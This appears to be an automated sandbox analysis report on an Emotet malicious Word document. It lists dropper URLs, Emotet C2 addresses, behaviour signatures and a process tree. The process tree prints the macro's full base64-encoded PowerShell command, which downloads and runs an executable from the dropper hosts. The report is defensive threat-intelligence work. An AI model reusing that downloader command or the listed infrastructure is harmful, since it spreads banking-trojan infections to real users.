Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    62s
  • max time network
    105s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    22/08/2020, 18:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_7955dfdb89d471adb7751d49e7cd02473936b90ef8ed1e87d43f29a1945db8ab_2020-08-22__184334._doc.doc
  • Size 233KB
  • Sample200822-e3l1m6e25j
  • SHA256 7955dfdb89d471adb7751d49e7cd02473936b90ef8ed1e87d43f29a1945db8ab
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://triconsnow.com/flash/T9/
  • exe.dropper

    http://www.studio63productions.com/fonts/2v/
  • exe.dropper

    http://remotefacilities.com/rendering2/3/
  • exe.dropper

    http://sedistribuidora.com.br/Lumine1.6/D/
  • exe.dropper

    https://vmais.net/bebemaria/download/ne/
  • exe.dropper

    http://silentfusion.net/forums/ZGR/
  • exe.dropper

    https://www.teleargentina.com/ver/Y/

Extracted

Family

  • emotet

C2

  • 181.30.61.163:443

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 188.135.15.49:80

  • 104.131.41.185:8080

  • 178.250.54.208:8080

  • 50.28.51.143:8080

  • 170.81.48.2:80

  • 87.106.46.107:8080

  • 191.99.160.58:80

  • 187.162.248.237:80

  • 89.32.150.160:8080

  • 46.28.111.142:7080

  • 190.190.148.27:8080

  • 190.115.18.139:8080

  • 178.79.163.131:8080

  • 73.213.208.163:80

  • 219.92.8.17:8080

  • 95.9.180.128:80

  • 212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7955dfdb89d471adb7751d49e7cd02473936b90ef8ed1e87d43f29a1945db8ab_2020-08-22__184334._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:836
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJADkAMABzAHUAZgAwAD0AKAAnAFAAdwB0AF8AJwArACcAMgAnACsAJwA0AGoAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgBUAEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAcgBgAGkAVAB5AFAAcgBgAG8AYABUAE8AQwBvAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEALAAgAHQAbABzACcAKQA7ACQATgBsADMAcwB0ADQAMQAgAD0AIAAoACcASQB2ADgAOAAnACsAJwBsACcAKwAnAGUAJwApADsAJABSAHoAdABhAHIAcQB5AD0AKAAnAEwAJwArACcAcwBxAHMAdwByAGgAJwApADsAJABDAG8AYgBnAHMANwBvAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBCADYAJwArACcATwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5AEIANgAnACsAJwBPACcAKQAuACIAUgBgAGUAcABMAGEAYwBFACIAKAAnAEIANgBPACcALABbAFMAVABSAEkAbgBHAF0AWwBjAGgAQQByAF0AOQAyACkAKQArACQATgBsADMAcwB0ADQAMQArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQAWQBwAHIAdgA4AG4AbwA9ACgAJwBUAGMAJwArACcAeQBnADkAOAA1ACcAKQA7ACQATwBhAHAAYQBrAG4AawA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgBXAGUAQgBDAEwASQBFAE4AVAA7ACQATwBjAHkAdQA0AGkAZwA9ACgAJwBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHQAcgBpAGMAbwBuAHMAbgBvAHcALgBjAG8AbQAnACsAJwAvAGYAbABhAHMAaAAvACcAKwAnAFQAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwArACcALwB3AHcAdwAuAHMAdAB1AGQAaQBvADYAMwBwAHIAbwAnACsAJwBkACcAKwAnAHUAJwArACcAYwAnACsAJwB0AGkAbwBuAHMALgAnACsAJwBjAG8AbQAvAGYAbwBuAHQAcwAnACsAJwAvADIAdgAvACoAaAB0AHQAcAA6AC8ALwByACcAKwAnAGUAbQAnACsAJwBvAHQAZQBmAGEAYwBpAGwAaQAnACsAJwB0AGkAJwArACcAZQBzAC4AYwBvAG0ALwByAGUAbgBkAGUAJwArACcAcgBpAG4AZwAyAC8AMwAnACsAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBzAGUAZAAnACsAJwBpACcAKwAnAHMAdAByAGkAYgB1AGkAZABvAHIAYQAuAGMAbwBtAC4AYgAnACsAJwByAC8AJwArACcATAB1AG0AaQAnACsAJwBuAGUAMQAuADYAJwArACcALwBEAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKwAnAHMAOgAvAC8AdgAnACsAJwBtAGEAaQBzAC4AbgBlAHQALwAnACsAJwBiACcAKwAnAGUAYgBlAG0AJwArACcAYQByAGkAYQAnACsAJwAvAGQAbwB3AG4AbABvAGEAZAAvAG4AJwArACcAZQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBzAGkAbABlAG4AdABmAHUAcwBpAG8AJwArACcAbgAuAG4AZQAnACsAJwB0AC8AZgBvAHIAdQBtAHMALwBaAEcAJwArACcAUgAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAHcAJwArACcAdwAnACsAJwB3AC4AdABlACcAKwAnAGwAZQBhAHIAZwBlAG4AdABpAG4AYQAuAGMAbwBtACcAKwAnAC8AdgBlACcAKwAnAHIALwBZAC8AJwApAC4AIgBTAHAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYANQBrADUAYgBlAHMAPQAoACcAWAAnACsAJwA3AGMAcwBrAGsAeQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABHAGgAcAA1AHQAcAB6ACAAaQBuACAAJABPAGMAeQB1ADQAaQBnACkAewB0AHIAeQB7ACQATwBhAHAAYQBrAG4AawAuACIAZABvAHcAbgBsAGAAbwBgAEEAZABmAGkAYABMAGUAIgAoACQARwBoAHAANQB0AHAAegAsACAAJABDAG8AYgBnAHMANwBvACkAOwAkAEQAbAAwAHIANgB1AGgAPQAoACcASAAnACsAJwBlAGsAbwA0ACcAKwAnAHMANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAQwBvAGIAZwBzADcAbwApAC4AIgBMAGUATgBgAEcAVABoACIAIAAtAGcAZQAgADMAMQAwADQAOAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABDAG8AYgBnAHMANwBvACkAOwAkAFUAbAAzAGcAbwBpADUAPQAoACcASQB5AGIAJwArACcAbAA4ACcAKwAnAGUAcgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAYgB3ADAAbQA0AHkAPQAoACcAWgB0ACcAKwAnADkANgBkAG4AcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4ANQByAF8ANwByADIAPQAoACcARAAnACsAJwB1ACcAKwAnAHQANwBnAGEAbgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Iv88le.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Iv88le.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1812
      • C:\Windows\SysWOW64\networkexplorer\msvcrt40.exe
        "C:\Windows\SysWOW64\networkexplorer\msvcrt40.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1712

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/836-2-0x00000000089C0000-0x00000000089C4000-memory.dmp
        Download

        memory/836-3-0x0000000006F90000-0x0000000007190000-memory.dmp
        Download

        memory/836-4-0x0000000006F90000-0x0000000007190000-memory.dmp
        Download

        memory/836-6-0x000000000AF30000-0x000000000AF34000-memory.dmp
        Download

        memory/836-7-0x000000000BFB0000-0x000000000BFB4000-memory.dmp
        Download

        memory/836-17-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1040-15-0x00000000027A0000-0x00000000027A1000-memory.dmp
        Download

        memory/1040-14-0x0000000001E30000-0x0000000001E31000-memory.dmp
        Download

        memory/1040-16-0x000000001B8B0000-0x000000001B8B1000-memory.dmp
        Download

        memory/1040-13-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1040-12-0x000000001AE00000-0x000000001AE01000-memory.dmp
        Download

        memory/1040-11-0x0000000002280000-0x0000000002281000-memory.dmp
        Download

        memory/1040-10-0x000007FEF46E0000-0x000007FEF50CC000-memory.dmp
        Download

        memory/1812-20-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/1868-25-0x000007FEF4E50000-0x000007FEF50CA000-memory.dmp
        Download